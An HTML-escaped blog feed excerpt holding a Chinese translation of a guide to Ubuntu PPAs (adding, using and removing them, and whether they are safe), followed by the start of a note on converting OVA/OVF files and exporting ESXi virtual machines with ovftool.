&lt;p&gt;许多网站提供这样的方式在 Ubuntu 中安装应用程序，这就是所谓的使用 PPA 安装应用程序。&lt;&#x2F;p&gt;
&lt;p&gt;但什么是 PPA？为什么要使用它？使用 PPA 安全吗？如何正确使用 PPA？如何删除 PPA？&lt;&#x2F;p&gt;
&lt;p&gt;我将在本详细指南中回答上述所有问题。即使你已经了解了一些关于 PPA 的信息，我相信本文仍然会增加你的知识。&lt;&#x2F;p&gt;
&lt;p&gt;请注意，我是使用 Ubuntu 来写这篇文章的。因此，我几乎在任何地方都会使用 Ubuntu 这个术语，但描述和步骤也适用于其他基于 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.csdn.net&#x2F;so&#x2F;search?q=Debian&amp;amp;spm=1001.2101.3001.7020&quot;&gt;Debian&lt;&#x2F;a&gt;&#x2F;Ubuntu 的发行版。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;shen-me-shi-ppa&quot;&gt;什么是 PPA?&lt;&#x2F;h3&gt;
&lt;p&gt;PPA 代表个人软件包存档（Personal Package Archive）。PPA 允许应用程序开发人员和 Linux 用户创建自己的软件仓库来分发软件。通过 PPA，你可以轻松地获得更加新的软件版本或获得官方 Ubuntu 仓库以外的软件。&lt;&#x2F;p&gt;
&lt;p&gt;这样讲得通吗？也许并不能。&lt;&#x2F;p&gt;
&lt;p&gt;在理解 PPA 之前，你应该了解 Linux 软件库的概念。不过，我不会在这里详细介绍。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ruan-jian-cang-ku-he-bao-guan-li-de-gai-nian&quot;&gt;软件仓库和包管理的概念&lt;&#x2F;h3&gt;
&lt;p&gt;软件仓库就是文件的集合，包含各种软件的信息、版本和一些其他详细信息，如 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.csdn.net&#x2F;so&#x2F;search?q=checksum&amp;amp;spm=1001.2101.3001.7020&quot;&gt;checksum&lt;&#x2F;a&gt; 值。每个 Ubuntu 版本都有自己的四个官方仓库：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Main&lt;&#x2F;strong&gt; —— 标准支持的免费和开源的软件&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Universe&lt;&#x2F;strong&gt; —— 社区维护的免费和开源的软件&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Restricted&lt;&#x2F;strong&gt; —— 对各个设备的专有驱动&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Multiverse&lt;&#x2F;strong&gt; —— 受限于版本和法律条目的软件&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;你可以从&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;archive.ubuntu.com&#x2F;ubuntu&#x2F;dists&#x2F;&quot;&gt;这里&lt;&#x2F;a&gt;看到所有 Ubuntu 版本的软件仓库。你可以浏览他们，也可以单独访问某个仓库。例如，可以在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;archive.ubuntu.com&#x2F;ubuntu&#x2F;dists&#x2F;focal&#x2F;main&#x2F;&quot;&gt;这里&lt;&#x2F;a&gt;找到 Ubuntu 20.04 主仓库。&lt;&#x2F;p&gt;
&lt;p&gt;所以基本上它是一个包含软件信息的网络 URL 地址。你的系统又是如何知道这些软件仓库在哪里的呢？&lt;&#x2F;p&gt;
&lt;p&gt;这些信息存储在 &lt;code&gt;&#x2F;etc&#x2F;apt&lt;&#x2F;code&gt; 目录下的 &lt;code&gt;sources.list&lt;&#x2F;code&gt; 文件。如果你查看它的内容，你将看到它有软件仓库的 URL。忽略开关带有 &lt;code&gt;#&lt;&#x2F;code&gt; 的行。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ubuntu-ppa&#x2F;apt-sources-list.png&quot; alt=&quot;sources-list&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;现在，当你运行命令 &lt;code&gt;sudo apt update&lt;&#x2F;code&gt; 时，你的系统使用 APT 工具检查软件仓库，并将有关软件及其版本的信息存储在缓存中。当你使用命令 &lt;code&gt;sudo apt install package_name&lt;&#x2F;code&gt; 时，它使用该信息从存储实际软件的 URL 获取该软件包。&lt;&#x2F;p&gt;
&lt;p&gt;如果软件仓库没有关于某个包的信息，你将看到无法定位包的错误：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;E: Unable to locate package
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这时，我建议阅读我的《&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;itsfoss.com&#x2F;apt-command-guide&#x2F;&quot;&gt;Using apt Commands in Linux&lt;&#x2F;a&gt;》，这将能令你更好地理解 apt 命令，更新等。&lt;&#x2F;p&gt;
&lt;p&gt;所以这就是关于软件仓库的介绍。但什么是 PPA？它又是如何进入画面的？&lt;&#x2F;p&gt;
&lt;h3 id=&quot;wei-shen-me-shi-yong-ppa&quot;&gt;为什么使用 PPA?&lt;&#x2F;h3&gt;
&lt;p&gt;正如你所见，Ubuntu 控制着软件及更重要的是控制着你在系统上安装的软件版本。但是想象一下，如果软件开发人员发布了新版本的软件。&lt;&#x2F;p&gt;
&lt;p&gt;Ubuntu 并不会立即让其变得可用，有一个检查新版本软件是否与系统相兼容的流程，通过这样的流程来确保系统的稳定性。&lt;&#x2F;p&gt;
&lt;p&gt;但这也意味着，Ubuntu 将需要几周甚至几个月的时间才能发布，不是每个人都想等那么久才能拿到他们最喜欢的软件的新版本。&lt;&#x2F;p&gt;
&lt;p&gt;类似地，假设有人开发了一个软件，并希望 Ubuntu 将该软件包含在官方软件仓库中，在 Ubuntu 做出决定并将其纳入官方软件仓库前，还需要几个月的时间。&lt;&#x2F;p&gt;
&lt;p&gt;另一种情况是在 beta 版本测试期间，即使官方软件仓库中有软件的稳定版本，软件开发人员也可能希望一些最终用户测试他们即将发布的版本，他们如何使最终用户能够测试即将发布的版本呢？&lt;&#x2F;p&gt;
&lt;p&gt;答案就是 PPA！&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ru-he-shi-yong-ppa-ppa-shi-ru-he-gong-zuo-de&quot;&gt;如何使用 PPA？PPA 是如何工作的？&lt;&#x2F;h3&gt;
&lt;p&gt;正如我已经告诉过你的，PPA 意味着个人包存档（Personal Package Archive）。注意这里的“个人”一词，这暗示了这是开发人员专有的东西，并没有得到发行版的正式认可。&lt;&#x2F;p&gt;
&lt;p&gt;Ubuntu 提供了一个名为 Launchpad 的平台，允许软件开发人员创建自己的软件仓库。最终用户比如说你可以将 PPA 仓库添加到你的 &lt;code&gt;sources.list&lt;&#x2F;code&gt; 然后当你更新你的系统时，你的系统将知道此新软件的可用性，你可以使用标准的 &lt;code&gt;sudo apt install&lt;&#x2F;code&gt; 命令进行安装，如下所示：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo add-apt-repository ppa:dr-akulavich&amp;#x2F;lighttable
sudo apt-get update
sudo apt-get install lighttable-installer
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;总结：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;sudo add-apt-repository&amp;lt;PPA_info&amp;gt;&lt;&#x2F;strong&gt;  —— 此命令将 PPA 仓库添加到列表中&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;sudo apt-get update&lt;&#x2F;strong&gt; —— 此命令更新可安装在系统上的软件包列表&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;sudo apt-get install&amp;lt;package_in_PPA&amp;gt;&lt;&#x2F;strong&gt;  —— 此命令安装软件包&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;你可以看到，使用命令 &lt;code&gt;sudo apt update&lt;&#x2F;code&gt; 是很重要的，否则你的系统将不知道新包何时可用。Ubuntu 18.04 及以上的版本会自动运行更新命令以刷新软件包列表，但我不能保证其他发行版，所以运行此命令是一个很好的做法。&lt;&#x2F;p&gt;
&lt;p&gt;现在让我们更详细地看一下第一个命令。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo add-apt-repository ppa:dr-akulavich&amp;#x2F;lighttable
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;你会注意到，该命令没有指向软件库的 URL，这是因为该工具旨在从你那里提取有关 URL 的信息。&lt;&#x2F;p&gt;
&lt;p&gt;一个小提示，如果你添加 &lt;code&gt;ppa:dr-akulavich&#x2F;lighttable&lt;&#x2F;code&gt;，你将得到 Light Table。但是如果你添加 &lt;code&gt;ppa:dr-akulavich&lt;&#x2F;code&gt;，你将获得“上层软件库”中提到的所有仓库或包，它是分层的。&lt;&#x2F;p&gt;
&lt;p&gt;基本上，当你使用 &lt;code&gt;add-apt-repository&lt;&#x2F;code&gt; 添加 PPA 时，它将执行与手动运行以下命令相同的操作：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;deb http:&amp;#x2F;&amp;#x2F;ppa.launchpad.net&amp;#x2F;dr-akulavich&amp;#x2F;lighttable&amp;#x2F;ubuntu YOUR_UBUNTU_VERSION_HERE main
deb-src http:&amp;#x2F;&amp;#x2F;ppa.launchpad.net&amp;#x2F;dr-akulavich&amp;#x2F;lighttable&amp;#x2F;ubuntu YOUR_UBUNTU_VERSION_HERE main
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;以上两行是将任何仓库添加到 &lt;code&gt;sources.list&lt;&#x2F;code&gt; 的传统方法，但是 PPA 会自动为你执行此操作，而无需考虑软件仓库的 URL 和操作系统版本。&lt;&#x2F;p&gt;
&lt;p&gt;这里需要注意一点的是，当你使用 PPA 时它不会改变原始的 &lt;code&gt;sources.list&lt;&#x2F;code&gt;，相反，它在 &lt;code&gt;&#x2F;etc&#x2F;apt&#x2F;sources.list.d&lt;&#x2F;code&gt; 目录创建了两个文件，一个 &lt;code&gt;.list&lt;&#x2F;code&gt; 列表文件和一个以 &lt;code&gt;.save&lt;&#x2F;code&gt; 为后缀的备份文件。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ubuntu-ppa&#x2F;ppa-sources-list-files.png&quot; alt=&quot;ppa-sources-list-files&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;后缀为 &lt;code&gt;.list&lt;&#x2F;code&gt; 的文件具有添加软件仓库信息的命令。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ubuntu-ppa&#x2F;ppa-list-file-content.png&quot; alt=&quot;content-of-ppa-list&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这是一项安全措施，以确保添加 PPA 不会干扰原始的 &lt;code&gt;sources.list&lt;&#x2F;code&gt; 文件，同时它也有助于移除 PPA。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;wei-shen-me-shi-ppa-wei-shen-me-bu-shi-deb-bao&quot;&gt;为什么是 PPA？为什么不是 DEB 包？&lt;&#x2F;h4&gt;
&lt;p&gt;你可能会问当涉及使用命令行时为什么要使用 PPA，这可能不是每个人都喜欢的。为什么不发行一个可以图形化安装的 DEB 包呢？&lt;&#x2F;p&gt;
&lt;p&gt;答案在于更新过程。如果你使用 DEB 软件包安装软件，则无法保证在运行 &lt;code&gt;sudo apt update &amp;amp;&amp;amp; sudo apt upgrade&lt;&#x2F;code&gt; 时安装的软件将升级为更加新的版本。&lt;&#x2F;p&gt;
&lt;p&gt;这是因为 apt 升级过程依赖于 &lt;code&gt;sources.list&lt;&#x2F;code&gt;，如果没有软件条目，则不会通过标准软件更新程序获得更新。&lt;&#x2F;p&gt;
&lt;p&gt;那么这是否意味着使用 DEB 安装的软件永远不会更新？当然这不是真的，这取决于软件包是如何被创建的。&lt;&#x2F;p&gt;
&lt;p&gt;一些开发人员会自动将条目添加到 &lt;code&gt;sources.list&lt;&#x2F;code&gt;，然后像常规软件一样进行更新，Google Chrome 就是这样一个例子。&lt;&#x2F;p&gt;
&lt;p&gt;当您尝试运行时，某些软件会通知你有新版本可用。您必须下载新的 DEB 包并再次运行它，以将当前软件更新为新版本。Oracle Virtual Box 就是一个例子。&lt;&#x2F;p&gt;
&lt;p&gt;对于其余的 DEB 包，你必须手动查找更新但这并不方便，尤其是如果你的软件是针对 beta 测试人员的，你需要经常添加更多更新，这就是 PPA 拯救你的地方。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;guan-fang-ppa-yu-fei-guan-fang-ppa&quot;&gt;官方 PPA 与非官方 PPA&lt;&#x2F;h4&gt;
&lt;p&gt;你可能也听过官方 PPA 或非官方 PPA 的说法，它们有什么区别呢？&lt;&#x2F;p&gt;
&lt;p&gt;当开发人员为其软件创建 PPA 时，称为&lt;strong&gt;官方 PPA&lt;&#x2F;strong&gt;，很明显，因为它来自于项目开发人员。&lt;&#x2F;p&gt;
&lt;p&gt;但有时，一些个人也会为其它开发人员的项目创建 PPA。&lt;&#x2F;p&gt;
&lt;p&gt;为什么会有人这么做？因为许多开发人员只提供软件的源代码，并且你知道在 Linux 中从源码安装软件是一件痛苦的事情，并且不是每个人都可以或愿意这样做。&lt;&#x2F;p&gt;
&lt;p&gt;这就是为什么志愿者他们根据源代码创建 PPA，以便其他用户可以轻松安装软件。毕竟，使用这 3 行代码要比在源代码安装中进行斗争容易得多。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;que-bao-ppa-ke-yong-yu-ni-de-fa-xing-ban&quot;&gt;确保 PPA 可用于你的发行版&lt;&#x2F;h4&gt;
&lt;p&gt;当在 Ubuntu 或任何其他基于 Debian 的发行版中使用 PPA 时，有几件事你应该记住。&lt;&#x2F;p&gt;
&lt;p&gt;并非每个 PPA 都适用于你的特定版本，你应该知道你现在使用的是哪个 Ubuntu 版本。版本的代号很重要，因为当你进入某个 PPA 的网页时，你可以看到该 PPA 支持哪些 Ubuntu 版本。&lt;&#x2F;p&gt;
&lt;p&gt;对于其他基于 Ubuntu 的发行版，你可以查看 &lt;code&gt;&#x2F;etc&#x2F;os-release&lt;&#x2F;code&gt; 的内容以了解 Ubuntu 版本信息。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ubuntu-ppa&#x2F;verify-ppa-distro-support.jpg&quot; alt=&quot;verify-ppa&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如何知道 PPA 的 url 呢？只需在互联网上搜索 PPA 名称如 &lt;code&gt;ppa:dr-akulavich&#x2F;lighttable&lt;&#x2F;code&gt; 你就可以从 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;launchpad.net&#x2F;&quot;&gt;Launchpad&lt;&#x2F;a&gt; 网站获得第一个结果，该网站是托管 PPA 的官方平台。你也可以直接从 Launchpad 搜索所需的 PPA。&lt;&#x2F;p&gt;
&lt;p&gt;如果你没有验证就添加 PPA，当你尝试安装不适用于你的系统版本的软件时，您可能会看到类似这样的错误。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;E: Unable to locate package
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;更糟糕的是，因为它已添加到你的 &lt;code&gt;sources.list&lt;&#x2F;code&gt;，当你每次运行软件更新程序时，你都会看到错误“Failed to download repository information”.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ubuntu-ppa&#x2F;apt-update-ppa-error.png&quot; alt=&quot;failed-to-download&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如果你在终端运行 &lt;code&gt;sudo apt update&lt;&#x2F;code&gt;，错误将包含有关哪个软件仓库导致问题的更多详细信息，你可以在 &lt;code&gt;sudo apt update&lt;&#x2F;code&gt; 输出的末尾看到类似的内容：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;W: Failed to fetch http:&amp;#x2F;&amp;#x2F;ppa.launchpad.net&amp;#x2F;venerix&amp;#x2F;pkg&amp;#x2F;ubuntu&amp;#x2F;dists&amp;#x2F;raring&amp;#x2F;main&amp;#x2F;binary-i386&amp;#x2F;Packages  404  Not Found
E: Some index files failed to download. They have been ignored, or old ones used instead.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这是一目了然的，因为系统无法找到你版本的仓库，还记得我们之前看到的软件仓库结构吗？APT 将尝试在该位置查找软件信息 &lt;code&gt;http:&#x2F;&#x2F;ppa.launchpad.net&#x2F;&amp;lt;PPA_NAME&amp;gt;&#x2F;ubuntu&#x2F;dists&#x2F;Ubuntu_Version&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;如果特定版本的 PPA 不可用，它将永远无法打开 URL，您将得到著名的 404 错误。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;wei-shen-me-ppa-bu-gua-yong-yu-suo-you-ubuntu-ban-ben&quot;&gt;为什么 PPA 不适用于所有 Ubuntu 版本&lt;&#x2F;h4&gt;
&lt;p&gt;这是因为有人必须编译软件并在特定版本上创建 PPA，考虑到新的 Ubuntu 版本每六个月发布一次，为每个 Ubuntu 版本更新 PPA 是一项令人厌烦的任务，并非所有开发人员都有时间这样做。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;ru-guo-ppa-bu-gua-yong-yu-ni-de-ban-ben-gai-ru-he-an-zhuang-ying-yong-cheng-xu&quot;&gt;如果 PPA 不适用于你的版本该如何安装应用程序？&lt;&#x2F;h4&gt;
&lt;p&gt;虽然 PPA 不适用于你的 Ubuntu 版本，但你仍然可以下载 DEB 文件并安装应用程序。&lt;&#x2F;p&gt;
&lt;p&gt;假设你去访问 Light Table PPA，使用你刚刚学到的关于 PPA 的知识，你意识到 PPA 不适用于你的特定 Ubuntu 版本。&lt;&#x2F;p&gt;
&lt;p&gt;你可以单击 “&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;launchpad.net&#x2F;~dr-akulavich&#x2F;+archive&#x2F;ubuntu&#x2F;lighttable&#x2F;+packages&quot;&gt;View package details&lt;&#x2F;a&gt;”&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ubuntu-ppa&#x2F;deb-from-ppa.jpg&quot; alt=&quot;deb-from-ppa&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;在这里，你可以点击一个包来显示更多细节，你还可以在这里找到包的源代码和 DEB 文件。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ubuntu-ppa&#x2F;ppa-deb-download.jpg&quot; alt=&quot;deb-from-ppa-2&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;我建议使用 Gdebi 来安装这些 DEB 文件，而不是 Software Center，因为 Gdebi 在处理依赖关系方面做得更好。&lt;&#x2F;p&gt;
&lt;p&gt;请注意，以这种方式安装的软件包将来可能不会得到任何更新。&lt;&#x2F;p&gt;
&lt;p&gt;我想你已经阅读了足够多关于添加 PPA 的内容，那如何删除 PPA 及其安装的软件呢？&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ru-he-shan-chu-ppa&quot;&gt;如何删除 PPA？&lt;&#x2F;h3&gt;
&lt;p&gt;我曾经写过关于删除 PPA 的文章，我也将在这里描述相同的方法。&lt;&#x2F;p&gt;
&lt;p&gt;我建议在删除 PPA 之前删除你从 PPA 中安装的软件，如果你只是删除 PPA，安装的软件将保留在系统中，但不会得到任何更新，你不会想要这样的结果吧？&lt;&#x2F;p&gt;
&lt;p&gt;因此，问题来了，如何知道哪个应用程序是由哪个 PPA 安装的呢？&lt;&#x2F;p&gt;
&lt;h4 id=&quot;cha-zhao-ppa-an-zhuang-de-ruan-jian-bao-bing-jiang-qi-shan-chu&quot;&gt;查找 PPA 安装的软件包并将其删除&lt;&#x2F;h4&gt;
&lt;p&gt;Ubuntu Software Center 在这里没有帮助，你必须在这里使用 Synaptic 软件包管理器，它具有更高级的功能。&lt;&#x2F;p&gt;
&lt;p&gt;你可以从 Software Center 或使用以下命令在 Ubuntu 中安装 Synaptic:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt install -y synaptic
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;安装后，启动 Synaptic 软件包管理器并选择 Origin，你将看到添加到系统中的各种软件仓库。PPA 条目将标有前缀 PPA，单击它们以查看 PPA 提供的包，已安装的软件前面将有适当的符号。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ubuntu-ppa&#x2F;synaptic-ppa-manager.jpg&quot; alt=&quot;ppa-synaptic-manager&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;找到包后，可以从 Synaptic 删除它们，或者你始终可以选择使用命令行：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt remove package_name
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;删除 PPA 安装的软件包后，你可以继续从 &lt;code&gt;sources.list&lt;&#x2F;code&gt; 中删除 PPA。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;yi-tu-xing-fang-shi-shan-chu-ppa&quot;&gt;以图形方式删除 PPA&lt;&#x2F;h4&gt;
&lt;p&gt;打开 “Software &amp;amp; Updates” 然后转到 “Other Software” 选项卡，查找要删除的 PPA。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ubuntu-ppa&#x2F;ubuntu-delete-ppa-gui.jpg&quot; alt=&quot;Delete a PPA&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这里有两种选择，你可以取消选择 PPA 或选择 “Remove” 选项。&lt;&#x2F;p&gt;
&lt;p&gt;不同之处在于当你取消选择 PPA 条目时，系统将在 &lt;code&gt;&#x2F;etc&#x2F;apt&#x2F;sources.list.d&lt;&#x2F;code&gt; 下的 &lt;code&gt;ppa_name.list&lt;&#x2F;code&gt; 文件中注释掉软件仓库条目，但如果选择 “Remove” 选项，它将从 &lt;code&gt;&#x2F;etc&#x2F;apt&#x2F;sources.list.d&lt;&#x2F;code&gt; 目录下的 &lt;code&gt;ppa_name.list&lt;&#x2F;code&gt; 文件中删除软件仓库条目。&lt;&#x2F;p&gt;
&lt;p&gt;在这两种情况下，文件 &lt;code&gt;ppa_name.list&lt;&#x2F;code&gt; 都会保留在所说的目录中，即使它是空的。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;shi-yong-ppa-an-quan-ma&quot;&gt;使用 PPA 安全吗？&lt;&#x2F;h3&gt;
&lt;p&gt;这是一个主观问题。纯粹主义者憎恨 PPA，因为大多数时候 PPA 来自第三方开发人员。但与此同时，PPA 在 Debian&#x2F;Ubuntu 世界很流行，因为它们提供了一个更简单的安装选项。&lt;&#x2F;p&gt;
&lt;p&gt;就安全性而言，你使用 PPA 和你的 Linux 系统被黑客入侵或注入恶意软件的可能性较小。到目前为止，我不记得发生过这样的事件。&lt;&#x2F;p&gt;
&lt;p&gt;官方 PPA 可以不用考虑就使用。使用非官方 PPA 完全由您决定。&lt;&#x2F;p&gt;
&lt;p&gt;根据经验，如果程序需要 sudo 访问才能运行，则应避免通过第三方 PPA 安装程序。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ni-dui-shi-yong-ppa-you-he-xiang-fa&quot;&gt;你对使用 PPA 有何想法？&lt;&#x2F;h3&gt;
&lt;p&gt;我知道这是一篇很长的文章，但我想让你更好地理解 PPA。我希望本详细指南回答了你关于使用 PPA 的大部分问题。&lt;&#x2F;p&gt;
&lt;p&gt;如果您对 PPA 有更多问题，请随时在评论部分提问。&lt;&#x2F;p&gt;
&lt;p&gt;如果您注意到任何技术或语法错误，或者您有改进本文的建议，也请告诉我。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;yuan-wen&quot;&gt;原文&lt;&#x2F;h3&gt;
&lt;p&gt;[1] &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;itsfoss.com&#x2F;ppa-guide&#x2F;&quot;&gt;Using PPA in Ubuntu Linux&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>将 ova&#x2F;qcow2 导入到 PVE 虚拟机</title>
        <published>2024-09-03T00:00:00+00:00</published>
        <updated>2024-09-06T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/将-ova-qcow2-导入到-pve-虚拟机/"/>
        <id>https://vercel.juzhong.asia/obsidian/将-ova-qcow2-导入到-pve-虚拟机/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/将-ova-qcow2-导入到-pve-虚拟机/">&lt;h2 id=&quot;ovf-yu-ova-qu-bie-yu-zhuan-huan&quot;&gt;OVF 与 OVA 区别与转换&lt;&#x2F;h2&gt;
&lt;p&gt;使用场景&lt;&#x2F;p&gt;
&lt;p&gt;OVF 包包含一系列未压缩的文件，对于需要访问文件中各个磁盘映像的用户而言较为方便，而 OVA 包只是一个大型文件。尽管您可以压缩此文件，但它不像一系列文件（如 OVF）那样灵活。&lt;&#x2F;p&gt;
&lt;p&gt;OVA 更适用于适合只使用一个文件的特定应用场合（例如创建用于 Web 下载的软件包），这种情况下软件包更易于处理。与 OVF 相比，导出和导入 OVA 包所需的时间更长。&lt;&#x2F;p&gt;
&lt;p&gt;转换&lt;&#x2F;p&gt;
&lt;p&gt;OVA 转 OVF 很简单，使用 tar 解包就行&lt;&#x2F;p&gt;
&lt;p&gt;比如任意解包一个 OVA 文件后会出来 ovf vmdk mf 这三个文件，而且解包出来的顺序也是和 OVA 标准定义的那样，第一个必须未 .ovf 文件。这里我讲的是解包而不是解压，是因为 OVA 和 OVF 里包含的文件，最大的就是磁盘文件，而磁盘文件在导出的时候虚拟机已经进行了压缩，你可以使用 df 命令看看磁盘占用的空间，以及导出的磁盘占用的空间，你就会发现导出的磁盘文件大小远小于系统占用的空间。&lt;&#x2F;p&gt;
&lt;p&gt;tar -xvf Ubuntu1804.ova&lt;&#x2F;p&gt;
&lt;p&gt;Ubuntu1804.ovf&lt;&#x2F;p&gt;
&lt;p&gt;Ubuntu1804-disk1.vmdk&lt;&#x2F;p&gt;
&lt;p&gt;Ubuntu1804.mf&lt;&#x2F;p&gt;
&lt;p&gt;OVF 转 OVA&lt;&#x2F;p&gt;
&lt;p&gt;按照 OVA 标准的格式，按顺序打包 OVF 包里的文件就行，注意 .ovf 文件一定要在第一个&lt;&#x2F;p&gt;
&lt;p&gt;tar -cf OP.ova Ubuntu1804.ovf Ubuntu1804-disk1.vmdk Ubuntu1804.mf&lt;&#x2F;p&gt;
&lt;p&gt;ESXi虚拟机导出为OVF模板&lt;&#x2F;p&gt;
&lt;p&gt;主要是为了备份整个虚拟机，通过ESXI图形界面上的导出ovf功能发现不太靠谱，有时能用，有时不能用，能用的时候有时也不太正常；Web Client导出。之前的版本不知道能不能正常导出，ESXI7导出下载会自动中断，只能换下一个方法。&lt;&#x2F;p&gt;
&lt;p&gt;第一步：去vmware官网下载ovf tool工具&lt;&#x2F;p&gt;
&lt;p&gt;最新版本:VMware-ovftool-4.4.1-16812187-win.x86_64&lt;&#x2F;p&gt;
&lt;p&gt;软件下载地址：https:&#x2F;&#x2F;www.aliyundrive.com&#x2F;s&#x2F;hYn6SBWtRvp&lt;&#x2F;p&gt;
&lt;p&gt;下载下来之后，一路默认安装，记得把安装路径给记住，一会要用。&lt;&#x2F;p&gt;
&lt;p&gt;第二步：使用ovf tool 工具&lt;&#x2F;p&gt;
&lt;p&gt;通过命令行打开ovf tool的安装路径，然后明确ESXI 主机的IP地址，我这里的环境是192.168.1.254，然后再明确一下VM（就是你将要导出的虚拟机的名字），我这里环境是Debian11，我想要备份到D盘，最后一步就是进行备份了：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;cd C:\Program Files\VMware\VMware OVF Tool&lt;&#x2F;li&gt;
&lt;li&gt;ovftool vi:&#x2F;&#x2F;root:@192.168.1.254&#x2F;Debian11 D:\Debian11.ova&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
